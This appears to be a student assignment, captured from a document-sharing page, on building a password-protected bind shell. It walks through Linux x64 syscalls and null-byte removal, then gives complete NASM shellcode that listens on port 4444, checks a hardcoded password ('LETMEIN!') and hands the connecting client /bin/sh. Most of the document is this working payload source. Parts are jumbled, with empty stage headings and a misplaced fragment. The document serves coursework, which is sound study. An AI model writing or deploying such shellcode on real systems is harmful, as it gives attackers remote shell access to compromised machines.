You are on page 1of 13

SHELL CODE ASSIGNMENT

NAME: KRISHNESH CHATURVEDI


REG NO: RA2211003012012
SEC: N2

Design and implement password protected bind shell.?

 AIM - Design and implement password protected bind shell.?

 PROCEDURE-

Stage One: General Overview

First of all, what are we trying to achieve here? Our goal is to write shellcode for the Linux
x64 architecture that will open a TCP over IPv4 socket, wait for an incoming connection and
execute a shell only after the client provides a valid password.
In order to write a regular bind shell, we need to chain several syscalls. The exact order is
the following (we’ll take care of the authentication later):
1- We create a new socket and bind it to the target address using the socket and bind
syscalls
2- We make the socket stay open and wait for a connection using the listen syscall
3- Once an incoming connection is received, we use the accept syscall to establish the
connection
4- We duplicate each standard stream into the new connection stream using the dup2
syscall, so the target machine can read and write messages to and from the source machine
5- We fire a shell by using te execve syscall
Each of these syscalls has a signature we need to address. Certain registers must contain
specific values. For example, the rax register is used to identify the syscall that is executed
so it should always contain the
syscall number. A whole document containing a full syscall table can be found here.

Stage Two: Writing a Syscall

Stage Three: Writing a Bind Shell

Armed with all our knowledge we now need to chain every syscall together. The following is
an example implementation with added comments aimed to clarify each part of the process:

Stage Four: Adding Authentication


In order to add authentication, we need to read from the client file descriptor and compare
the input against a password before executing the shell. The code should look roughly like
this:

Stage Five: Reducing the Payload

While working on the initial implementation null-bytes were avoided but I did not care much
about size until this point. The payload is now 180 bytes in size. In order to remove null-
bytes and reduce instruction size, I use radare2 rasm2 utility to compare instructions output.
Here’s a simple case:

 PROGRAM
48c7c029000000 mov rax, 0x29 ; this is the socket syscall number
48c7c702000000 mov rdi, 0x02 ; 0x02 correponds with IPv4
4831f6 xor rsi, rsi
48ffc6 inc rsi ; 0x01 correponds with TCP
31d2 xor edx, edx ; 0 corresponds with protocol sub-family
0f05 syscall ; executes the syscall

The following implementation is 12 bytes long (a quarter of the last


example) and contains no null bytes:

6a29 push 0x29

58 pop rax ; sets rax to 0x29 without nullbytes

6a02 push 0x02

5f pop rdi ; same technique for rdi

6a01 push 0x01

5e pop rsi ; same for rsi

99 cdq ; setting rdx to 0 using just one byte

0f05 syscall

; =================================================

; TCP Bind Shell

; =================================================

global _start
; Syscall numbers

syscalls.socket equ 0x29

syscalls.bind equ 0x31

syscalls.listen equ 0x32

syscalls.accept equ 0x2b

syscalls.close equ 0x03

syscalls.dup2 equ 0x21

syscalls.execve equ 0x3b

; Constant definitions

ipv4 equ 0x02 ; AF_INET

ipv4.addressLen equ 0x10

tcp equ 0x01 ; SOCK_STREAM

; Standard streams

standardIO.in equ 0x00

standardIO.out equ 0x01

standardIO.err equ 0x02

setup.port equ 0x5c11 ; 4444

;:> echo -n '//bin/sh' | rev | xxd

;: 00000000: 6873 2f6e 6962 2f2f hs/nib//

binshString equ 0x68732f6e69622f2f

; Configs

config.max_cons equ 0x2


section .text

_start:

xor r14, r14 ; zero out r14 for future repetitive use

; 1 - Create socket (socket syscall)

; > man 2 socket

; int socket(int domain, int type, int protocol);

; domain can be AF_INET (ipv4) or AF_INET6 (ipv6)

; type can be SOCK_STREAM (tcp) or SOCK_DGRAM (udp)

; returns the socket file descriptorq

; syscall number is 0x29

push syscalls.socket

pop rax

push ipv4

pop rdi

push tcp

pop rsi

cdq ; edx = 0

syscall

; 2 - Save socket fd and build server struct

mov rdi, rax ; copy socket descriptor to rdi for later

sub rsp, 8

mov dword [rsp+4], r14d ; server.sin_addr.s_addr = INADDR_ANY =


0x00
mov word [rsp+2], setup.port ; server.sin_port = htons(PORT)

lea rax, [r14+0x02]

mov word [rsp], ax ; server.sin_family = AF_INET (2)

; 3 - Bind to socket

; bind(sock, (struct sockaddr *)&server, sockaddr_len)

push syscalls.bind

pop rax

mov rsi, rsp

push ipv4.addressLen

pop rdx

syscall

; 4 - Listen

; listen(sock, MAX_CLIENTS)

push syscalls.listen

pop rax

push config.max_cons

pop rsi

syscall

; 5 - Accept incoming connection

; accept(sock, (struct sockaddr *)&client, &sockaddr_len)

push syscalls.accept

pop rax

sub rsp, 16

mov rsi, rsp

mov byte [rsp-1], ipv4.addressLen


sub rsp, 1

mov rdx, rsp

syscall

; 6 - Save client fd and close parent fd

mov r9, rax ; store the client socket fd into r9

push syscalls.close

pop rax ; close parent

syscall

; 7 - Duplicate sockets for the new connection one by one

push standardIO.err

pop r15

loop_through_stdfds:

mov rdi, r9

push syscalls.dup2

pop rax

mov rsi, r15

syscall

dec r15

jns loop_through_stdfds

; 8 - Execve

mov rdx, r14

push r14 ; First NULL push

mov rbx, binshString ; push /bin//sh in reverse

push rbx ; store /bin//sh address in RDI


mov rdi, rsp

push r14 ; Second NULL push

mov rdx, rsp

push rdi ; set RSI to address of /bin//sh

mov rsi, rsp

push syscalls.execve

pop rax

syscall

; 6 - Handle incoming connection; 6.1 - Save client fd and close parent fd

mov r9, rax ; store the client socket fd into r9

; this is not mandatory, may be commented out to save some space

push syscalls.close

pop rax ; close parent

syscall; 6.2 - Read password from the client fd

read_pass:

mov rax, r14 ; read syscall == 0x00

mov rdi, r9 ; from client fd

push 4

pop rdx ; rdx = input size

sub rsp, rdx

mov rsi, rsp ; rsi => buffer

syscall; 6.3 - Check password

mov rax, config.password


mov rdi, rsi

scasq

jne read_pass

Reducing the Payload

; =================================================

; TCP Bind Shell with Auth

; =================================================

global _start

; Syscall numbers

syscalls.socket equ 0x29

syscalls.bind equ 0x31

syscalls.listen equ 0x32

syscalls.accept equ 0x2b

syscalls.close equ 0x03

syscalls.dup2 equ 0x21

syscalls.write equ 0x01

syscalls.read equ 0x00

syscalls.execve equ 0x3b

; Constant definitions

ipv4 equ 0x02 ; AF_INET

ipv4.addressLen equ 0x10

tcp equ 0x01 ; SOCK_STREAM

; Standard streams
standardIO.in equ 0x00

standardIO.out equ 0x01

standardIO.err equ 0x02

setup.port equ 0x5c11 ; 4444

;:> echo -n '//bin/sh' | rev | xxd

;: 00000000: 6873 2f6e 6962 2f2f hs/nib//

binshString equ 0x68732f6e69622f2f

;:> echo -n '>>pass?:' | rev | xxd

;: 00000000: 3a3f 7373 6170 3e3e :?ssap>>

passPromptString equ 0x3a3f737361703e3e

; Configs

config.max_cons equ 0x2

config.password equ 0x4d54454c214e4945 ; MTEL!NIE > LETMEIN!

section .text

_start:

xor r14, r14 ; zero out r14 for future use

; 1 - Create socket (socket syscall)

push syscalls.socket

pop rax

push ipv4
pop rdi

push tcp

pop rsi

cdq

syscall

; 2 - Save socket fd and build server struct

xchg rdi, rax

sub rsp, 0x08

mov dword [rsp+0x04], r14d

mov word [rsp+rax], setup.port

mov word [rsp], ax

; 3 - Bind to socket

push syscalls.bind

pop rax

mov rsi, rsp

push ipv4.addressLen

pop rdx

syscall

; 4 - Listen

push syscalls.listen

pop rax

push config.max_cons

pop rsi

syscall
; 5 - Accept incoming connection

push syscalls.accept

pop rax

sub rsp, rdx

mov rsi, rsp

dec rsp

mov byte [rsp], ipv4.addressLen

mov rdx, rsp

syscall

; 6 - Handle incoming connection

; 6.1 - Save client fd and close parent fd

mov r9, rax

; 6.2 - Read password from the client fd

read_pass:

xor rax, rax

mov rdi, r9

push 0x04

pop rdx

sub rsp, rdx

mov rsi, rsp

syscall

; 6.3 - Check password

mov rax, config.password


mov rdi, rsi

scasq

jne read_pass

; 7 - Duplicate sockets for the new connection one by one

push standardIO.err

pop r15

loop_through_stdfds:

mov rdi, r9

push syscalls.dup2

pop rax

mov rsi, r15

syscall

dec r15

jns loop_through_stdfds

; 9 - Execve

push r14

mov rbx, binshString

push rbx

mov rdi, rsp

push r14

mov rdx, rsp

push rdi

mov rsi, rsp

push syscalls.execve

pop rax

syscall
 SAMPLE OUTPUT

 RESULT

We have successfully executed the code and got the output

You might also like